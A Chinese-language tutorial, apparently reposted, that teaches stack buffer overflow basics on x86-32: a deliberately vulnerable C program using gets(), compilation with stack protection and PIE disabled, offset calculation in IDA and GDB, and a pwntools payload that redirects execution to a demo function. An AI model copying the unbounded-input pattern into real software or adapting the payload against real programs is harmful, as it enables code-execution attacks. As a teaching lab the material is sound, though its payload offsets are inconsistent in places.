棧溢出基礎


  1. 基礎知識

    • 什么是緩沖區溢出?

      • 在深入探討技術之前, 讓我們先了解一下緩沖區溢出的實際內容.想象一個非常簡單的程序, 要求你輸入你的用戶名, 然后返回到它在做什么.從視覺上看, 如下所示

      • 您注意到括號之間的空格是輸入用戶名的預期空間.那個空間是我們的緩沖.處理用戶名后, 返回地址將告知程序需要執行的下一個指令.現在, 如果我們不僅輸入用戶名, 而且添加其他數據以溢出此緩沖區空間, 會發生什么情況?

      • 不僅如此, 我們鍵入的是一些 shellcode(一系列計算機指令, 通過示例給我們提供遠程 shell), 一些虛擬數據和該 shellcode 的地址, 而不只是鍵入名字, 而是鍵入一些 shellcode.程序將遵循我們覆蓋的 shellcode 地址而不是正常的返回地址, 而是執行我們的 shellcode, 而不是返回到預期的指令.這是緩沖區溢出攻擊.

    • 函數調用棧在內存中從高地址向低地址生長

    • 函數狀態主要涉及三個寄存器EBP, ESP, EIP

      • EBP : 用來存儲當前函數狀態的基地址, 在函數運行時不變, 可以用來索引確定函數參數或局部變量的位置
      • ESP : 用來存儲函數調用棧的棧頂地址, 在壓棧和退棧時發生變化
      • EIP : 用來存儲即將執行的程序指令的地址, cpu 依照 EIP 的存儲內容讀取指令並執行, EIP 隨之指向相鄰的下一條指令
    • 二進制, 十進制, 十六進制表示

      • 二進制 : 101010110B
      • 十進制 : 100
      • 十六進制 : 4E20H, 4e20h, 0x4E20, 0x4e20
    • 小端字節序, 大端字節序

      • 舉例來說, 數值0x2211使用兩個字節儲存:高位字節是0x22, 低位字節是0x11
        • 小端字節序:低位字節在前, 高位字節在后, 即以0x1122形式儲存
        • 大端字節序:高位字節在前, 低位字節在后, 即以0x2211形式儲存, 這是人類讀寫數值的方法
      • 一般操作系統都是小端, 而通訊協議是大端的
  2. 棧溢出基本原理

    • 棧溢出指的是程序向棧中某個變量中寫入的字節數超過了這個變量本身所申請的字節數,因而導致與其相鄰的棧中的變量的值被改變
    • 發生棧溢出的基本前提是
      • 程序必須向棧上寫入數據
      • 寫入的數據大小沒有被良好地控制
    • 當函數正在執行內部指令的過程中我們無法拿到程序的控制權,只有在發生函數調用或者結束函數調用時,程序的控制權會在函數狀態之間發生跳轉,這時才可以通過修改函數狀態來實現攻擊
  3. 棧溢出 Demo 講解

    • demo 代碼

      #include <stdio.h>
      #include <string.h>
      
      void pwn() 
      { 
          puts("Stack Overflow!"); 
      }
      
      void vulnerable() 
      {
          char s[12];
          gets(s);
          puts(s);
          return;
      }
      
      int main(int argc, char **argv) 
      {
          vulnerable();
          return 0;
      }
      
    • 代碼解釋

      • 函數pwn()

        • 正常執行代碼時, 該函數不會被調用, 在之后的內容中我們會通過棧溢出調用該函數
        • 功能為打印Stack Overflow!
      • 函數vulnerable()

        • 正常執行代碼時, 函數被調用
        • 功能為獲取用戶輸入然后打印
    1. 編譯該c文件 : gcc -m32 -fno-stack-protector stack_test.c -o stack_test

      • gcc 編譯指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不開啟堆棧溢出保護,即不生成 canary。 此外,為了更加方便地介紹棧溢出的基本利用方式,這里還需要關閉 PIE(Position Independent Executable),避免加載基址被打亂。不同 gcc 版本對於 PIE 的默認配置不同,我們可以使用命令gcc -v查看 gcc 默認的開關情況。如果含有--enable-default-pie參數則代表 PIE 默認已開啟,需要在編譯指令中添加參數-no-pie
    2. 使用IDA進行靜態匯編代碼分析

      • IDA 下載地址 : https://pan.baidu.com/s/1h0pt4SNylRYH4P4dMviKAQ 提取: rfqm

      • 使用IDA打開該ELF文件(即生成的stack_test文件)

      • F5, 點擊左側的vulnerable()函數, 查看偽代碼

        int vulnerable()
        {
        char s; // [esp+4h] [ebp-14h]
        
        gets(&s);
        return puts(&s);
        }
        
      • 由此得到

        • 變量s的地址 = EBP的地址 - 14h
      • 由於C語言標准庫的 gets() 函數並未限制輸入數據長度的漏洞, 從而可以實現了棧溢出, 而其參數s距離EBP的偏移地址為14h

      • 點擊查看我們需要溢出至調用的目標函數pwn(),記下它的地址0x0804843B

    3. 計算偏移地址

      • 目的: 將被調用函數的返回地址, 通過改變可控變量的值, 替換為我們指定的地址

        • 通過指定變量s的值, 使得被調用函數的返回地址, 變為pwn函數的地址
      • 被調用函數的返回地址 = EBP的地址 + 4h

        • 4h為EBP大小
        • x86-32, 所有主寄存器(包括EBP)的大小都是32位,在堆棧上占4個字節
      • vulnerable函數的返回地址 = EBP的地址 + 4h = (變量s的地址 + 14h) + 4h = 變量s的地址 + 18h

        • 通過IDA可知EBP的地址 = 變量s的地址 + 14h
      • 所以只需要指定s變量為任意18h個字符和pwn函數地址組成的字符串即可

    4. 編寫payload

      • 在下面payload中,前面14h個字節碼用“a”覆蓋,將EBP覆蓋為“aaaa”,最后插入小端存儲形式的pwn()函數地址

        from pwn import process, flat, p32
        
        sh = process("./stack_test")
        pwn_function_address = 0x0804843B
        payload = flat(['a' * 0x18, p32(pwn_function_address)])
        sh.sendline(payload)
        print (sh.recvall())
        
      • from pwn import *

        • python2
          • pip install pwn
        • python3
          • pip3 install git+https://github.com/arthaud/python3-pwntools.git
      • sh = process("./stack_test")

        • 開啟進程執行stack_test
      • pwn_function_address = 0x0804843B

        • pwn函數的地址
      • payload = flat(["a" * 0x14, p32(1), p32(pwn_addr)])

        • ['a' * 0x14, 'b' * 0x4, p32(pwn_function_address)]
          • 0x14 == 20
          • p32: 將傳入的數轉為小端字節序返回
          • ['aaaaaaaaaaaaaaaaaaaaaaaa', ';\x84\x04\x08']
        • flat(["a" * 0x14, p32(1), p32(pwn_addr)])
          • flat: 將傳入參數合並為一個字符串
          • 'aaaaaaaaaaaaaaaaaaaaaaaa;\x84\x04\x08'
      • sh.sendline(payload)

        • 向進程發送數據
      • print (sh.recvall())

        • 打印進程返回的數據
      • 效果圖

    5. GDB計算偏移地址

      其實由IDA分析可以知道, 參數s距離EBP的偏移地址為14h. 但是有時候並不能完全相信IDA計算出來的偏移, 最為准確的是用GDB打斷點調試出來, 下面介紹兩種GDB方法.

      • GDB 配置
      • GDB 基礎
        • b
          • 添加斷點
        • r
          • 執行程序
        • c
          • 繼續執行
        • info break
          • 查看斷點
        • del 1
          • 刪除第一個斷點
      1. GDB斷點調試獲取

        • 執行gdb stack_test
          • b vulnerable

            • 添加斷點
          • r

          • 效果圖

          • b *0x8048466

            • 找到調用gets后的地址為0x8048466, 在此處打斷點, 查看調用gets后的狀況
          • c

          • 輸入任意值

          • 效果圖

        • 由上步可以得到變量地址為0xffffd664, EBP地址為0xffffd678
          • 0xffffd664 = 0xffffd678 - 0x14
      2. 使用GDB pattern字符串溢出計算偏移量

        • 執行gdb stack_test
          • pattern_create 200
            • 復制生成的字符串
          • r
          • 粘貼
          • 效果圖
          • 復制EIP的地址
          • pattern_offset 0x44414128
            • 返回信息 1145127208 found at offset: 24
            • 24 = 18h = vulnerable函數的返回地址 - 變量s的地址
    6. 小結

      總體而言主要分為兩個步驟, 先是找到危險函數確定存在棧溢出漏洞, 然后就是通過調試分析計算出棧溢出攻擊利用需要溢出的偏移量, 最后就通過覆蓋地址的方法來直接或者間接地控制程序執行流程

      1. 尋找危險函數

        通過尋找危險函數,我們快速確定程序是否可能有棧溢出,以及有的話,棧溢出的位置在哪里。常見的危險函數如下

        • 輸入
          • gets,直接讀取一行,忽略’\x00’
          • scanf
          • vscanf
        • 輸出
          • sprintf
        • 字符串
          • strcpy,字符串復制,遇到’\x00’停止
          • strcat,字符串拼接,遇到’\x00’停止
          • bcopy
      2. 確定填充長度

        計算我們所要操作的地址與我們所要覆蓋的地址的距離。常見的操作方法就是打開 IDA,根據其給定的地址計算偏移

        • 一般變量會有以下幾種索引模式

          1. 相對於棧基地址的的索引, 可以直接通過查看 EBP 相對偏移獲得
          2. 相對應棧頂指針的索引, 一般需要進行調試, 之后還是會轉換到第一種類型
          3. 直接地址索引, 就相當於直接給定了地址
        • 一般來說,我們會有如下的覆蓋需求

          1. 覆蓋函數返回地址,這時候就是直接看 EBP即可
          2. 覆蓋棧上某個變量的內容,這時候就需要更加精細的計算了
          3. 覆蓋 bss 段某個變量的內容
          4. 根據現實執行情況,覆蓋特定的變量或地址的內容


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM